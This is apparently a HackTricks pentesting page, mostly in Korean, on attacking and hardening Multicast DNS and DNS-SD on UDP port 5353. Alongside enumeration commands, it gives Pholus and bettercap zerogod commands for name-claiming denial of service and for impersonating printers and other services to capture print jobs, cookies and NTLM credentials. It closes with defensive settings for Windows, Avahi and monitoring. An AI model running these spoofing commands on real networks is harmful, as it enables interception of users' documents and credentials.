5353/UDP Multicast DNS (mDNS) 및 DNS-SD

Reading time: 7 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Multicast DNS (mDNS)는 유니캐스트 DNS 서버 없이 로컬 링크 내에서 DNS와 유사한 이름 해석 및 서비스 검색을 가능하게 합니다. 이는 UDP/5353 및 멀티캐스트 주소 224.0.0.251 (IPv4)와 FF02::FB (IPv6)를 사용합니다. DNS 서비스 검색 (DNS-SD, 일반적으로 mDNS와 함께 사용됨)은 PTR, SRV 및 TXT 레코드를 통해 서비스를 열거하고 설명하는 표준화된 방법을 제공합니다.

PORT     STATE SERVICE
5353/udp open  zeroconf

Key protocol details you’ll often leverage during attacks:

  • .local 영역의 이름은 mDNS를 통해 해결됩니다.
  • QU (Query Unicast) 비트는 멀티캐스트 질문에 대해서도 유니캐스트 응답을 요청할 수 있습니다.
  • 구현은 로컬 링크에서 출발하지 않은 패킷을 무시해야 하지만, 일부 스택은 여전히 이를 수용합니다.
  • 프로빙/발표는 고유한 호스트/서비스 이름을 강제합니다; 여기서 간섭하면 DoS/“이름 점유” 조건이 발생합니다.

DNS-SD 서비스 모델

서비스는 .local 아래에서 _._tcp 또는 _._udp로 식별됩니다. 예: _ipp._tcp.local (프린터), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge) 등. _services._dns-sd._udp.local로 유형을 발견한 후, 발견된 인스턴스를 SRV/TXT/A/AAAA로 해결합니다.

네트워크 탐색 및 열거

  • nmap 대상 스캔 (호스트에서 직접 mDNS):
bash
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • nmap 브로드캐스트 발견 (세그먼트를 듣고 모든 DNS-SD 유형/인스턴스를 열거):
bash
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux):
bash
# 서비스 유형 목록
avahi-browse -bt _services._dns-sd._udp
# 모든 서비스를 탐색하고 호스트/포트로 해결
avahi-browse -art
  • Apple dns-sd (macOS):
bash
# 모든 HTTP 서비스 탐색
dns-sd -B _http._tcp
# 서비스 유형 열거
dns-sd -B _services._dns-sd._udp
# 특정 인스턴스를 SRV/TXT로 해결
dns-sd -L "My Printer" _ipp._tcp local
  • tshark로 패킷 캡처:
bash
# 실시간 캡처
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# DNS-SD 서비스 목록 쿼리만
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

Tip: 일부 브라우저/WebRTC는 로컬 IP를 숨기기 위해 임시 mDNS 호스트 이름을 사용합니다. 랜덤-UUID.local 후보가 네트워크에 보이면, mDNS로 해결하여 로컬 IP로 전환하세요.

공격

mDNS 이름 프로빙 간섭 (DoS / 이름 점유)

프로빙 단계에서 호스트는 이름의 고유성을 확인합니다. 스푸핑된 충돌로 응답하면 새로운 이름을 선택하거나 실패하도록 강제합니다. 이는 서비스 등록 및 발견을 지연시키거나 방지할 수 있습니다.

Example with Pholus:

bash
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

서비스 스푸핑 및 사칭 (MitM)

광고된 DNS-SD 서비스(프린터, AirPlay, HTTP, 파일 공유)를 사칭하여 클라이언트가 당신에게 연결하도록 유도합니다. 이는 특히 다음에 유용합니다:

  • _ipp._tcp 또는 _printer._tcp를 스푸핑하여 문서를 캡처합니다.
  • 클라이언트를 HTTP/HTTPS 서비스로 유인하여 토큰/쿠키를 수집하거나 페이로드를 전달합니다.
  • Windows 클라이언트가 스푸핑된 서비스에 대한 인증을 협상할 때 NTLM 릴레이 기술과 결합합니다.

bettercap의 zerogod 모듈(mDNS/DNS-SD 스푸퍼/사칭자) 사용:

bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Notes on recent implementation issues (useful for DoS/persistence during engagements)

  • Avahi reachable-assertion 및 D-Bus 충돌 버그(2023)는 Linux 배포판에서 avahi-daemon을 종료시킬 수 있으며, 이는 재시작할 때까지 대상 호스트에서 서비스 검색을 방해합니다.
  • Cisco IOS XE Wireless LAN Controller mDNS 게이트웨이 DoS(2024, CVE-2024-20303)는 인접 공격자가 높은 CPU 사용량을 유도하고 AP를 연결 해제할 수 있게 합니다. VLAN 간에 mDNS 게이트웨이를 발견하면 잘못된 형식이나 높은 비율의 mDNS에 대한 안정성에 유의하십시오.

Defensive considerations and OPSEC

  • Segment boundaries: 보안 구역 간에 224.0.0.251/FF02::FB를 라우팅하지 마십시오. mDNS 게이트웨이가 명시적으로 필요하지 않는 한 그렇습니다. 검색을 브리징해야 하는 경우, 허용 목록과 비율 제한을 선호하십시오.
  • Windows endpoints/servers:
  • mDNS를 통한 이름 해석을 완전히 비활성화하려면 레지스트리 값을 설정하고 재부팅하십시오:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • 관리되는 환경에서는 기본 제공 “mDNS (UDP-In)” Windows Defender 방화벽 규칙(최소한 도메인 프로필에서)을 비활성화하여 인바운드 mDNS 처리를 방지하면서 홈/로밍 기능을 유지하십시오.
  • 최신 Windows 11 빌드/GPO 템플릿에서는 “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” 정책을 사용하고 이를 비활성화로 설정하십시오.
  • Linux (Avahi):
  • 필요하지 않을 때 게시를 잠그십시오: disable-publishing=yes를 설정하고 /etc/avahi/avahi-daemon.conf에서 allow-interfaces= / deny-interfaces=로 인터페이스를 제한하십시오.
  • check-response-ttl=yes를 고려하고 엄격히 필요하지 않는 한 enable-reflector=yes를 피하십시오; 반사할 때는 reflect-filters= 허용 목록을 선호하십시오.
  • macOS: 특정 서브넷에 대해 Bonjour 검색이 필요하지 않을 때 호스트/네트워크 방화벽에서 인바운드 mDNS를 제한하십시오.
  • Monitoring: _services._dns-sd._udp.local 쿼리의 비정상적인 급증이나 중요한 서비스의 SRV/TXT의 갑작스러운 변화를 경고하십시오; 이는 스푸핑 또는 서비스 사칭의 지표입니다.

Tooling quick reference

  • nmap NSE: dns-service-discoverybroadcast-dns-service-discovery.
  • Pholus: 능동 스캔, 역 mDNS 스윕, DoS 및 스푸핑 도우미.
bash
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: mDNS/DNS-SD 서비스를 발견하고, 저장하고, 광고하고, 사칭합니다(위의 예를 참조하십시오).

Spoofing/MitM

이 서비스에서 수행할 수 있는 가장 흥미로운 공격은 클라이언트와 실제 서버 간의 통신에서 MitM을 수행하는 것입니다. 민감한 파일(프린터와의 통신을 MitM)이나 자격 증명(Windows 인증)을 얻을 수 있을지도 모릅니다.
자세한 내용은 확인하십시오:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기